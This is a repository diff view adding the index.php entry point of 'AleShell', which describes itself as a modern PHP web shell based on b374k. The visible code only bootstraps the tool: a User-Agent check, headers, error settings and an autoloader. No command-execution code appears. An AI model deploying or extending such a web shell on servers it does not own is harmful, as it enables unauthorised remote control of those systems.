86
index.php
Archivo normal
86
index.php
Archivo normal
@@ -0,0 +1,86 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell - A Modern PHP Web Shell
|
||||
*
|
||||
* A powerful, secure, and modern web shell based on b374k but completely rewritten
|
||||
* with modern architecture, improved security, and enhanced features.
|
||||
*
|
||||
* @author Ale
|
||||
* @version 2.0.0
|
||||
* @license MIT
|
||||
* @package AleShell
|
||||
*/
|
||||
|
||||
// Prevent direct browser access for security
|
||||
if (!isset($_SERVER['HTTP_USER_AGENT']) || empty($_SERVER['HTTP_USER_AGENT'])) {
|
||||
http_response_code(403);
|
||||
die('Access Denied');
|
||||
}
|
||||
|
||||
// Basic security headers
|
||||
header('X-Content-Type-Options: nosniff');
|
||||
header('X-Frame-Options: DENY');
|
||||
header('X-XSS-Protection: 1; mode=block');
|
||||
header('Referrer-Policy: strict-origin-when-cross-origin');
|
||||
|
||||
// Define version and basic constants
|
||||
define('ALESHELL_VERSION', '2.0.0');
|
||||
define('ALESHELL_ROOT', __DIR__);
|
||||
define('ALESHELL_SRC', ALESHELL_ROOT . '/src');
|
||||
define('ALESHELL_CORE', ALESHELL_SRC . '/core');
|
||||
|
||||
// Error reporting
|
||||
error_reporting(E_ALL & ~E_NOTICE);
|
||||
ini_set('display_errors', 1);
|
||||
ini_set('log_errors', 1);
|
||||
|
||||
// Manual class loading for critical files
|
||||
function loadAleShellClass($className) {
|
||||
// Remove namespace prefix
|
||||
$className = str_replace('AleShell\\', '', $className);
|
||||
|
||||
// Convert namespace to path
|
||||
$classFile = str_replace('\\', '/', $className) . '.php';
|
||||
$fullPath = ALESHELL_SRC . '/' . $classFile;
|
||||
|
||||
if (file_exists($fullPath)) {
|
||||
require_once $fullPath;
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// Register autoloader
|
||||
spl_autoload_register('loadAleShellClass');
|
||||
|
||||
// Include the autoloader and bootstrap
|
||||
require_once ALESHELL_CORE . '/Autoloader.php';
|
||||
|
||||
// Initialize AleShell
|
||||
try {
|
||||
// Ensure bootstrap class is loaded
|
||||
if (!class_exists('AleShell\\Core\\Bootstrap')) {
|
||||
require_once ALESHELL_CORE . '/Bootstrap.php';
|
||||
}
|
||||
|
||||
$aleShell = new AleShell\Core\Bootstrap();
|
||||
$aleShell->initialize();
|
||||
$aleShell->run();
|
||||
} catch (Exception $e) {
|
||||
// Log error and show user-friendly message
|
||||
error_log('AleShell Error: ' . $e->getMessage());
|
||||
http_response_code(500);
|
||||
|
||||
if (defined('ALESHELL_DEBUG') && ALESHELL_DEBUG) {
|
||||
echo '<h1>AleShell Error</h1>';
|
||||
echo '<p><strong>Message:</strong> ' . htmlspecialchars($e->getMessage()) . '</p>';
|
||||
echo '<p><strong>File:</strong> ' . htmlspecialchars($e->getFile()) . '</p>';
|
||||
echo '<p><strong>Line:</strong> ' . $e->getLine() . '</p>';
|
||||
echo '<pre>' . htmlspecialchars($e->getTraceAsString()) . '</pre>';
|
||||
} else {
|
||||
echo '<h1>Service Temporarily Unavailable</h1>';
|
||||
echo '<p>Please try again later.</p>';
|
||||
echo '<p><small>Error: ' . htmlspecialchars($e->getMessage()) . '</small></p>';
|
||||
}
|
||||
}
|
||||
Referencia en una nueva incidencia
Block a user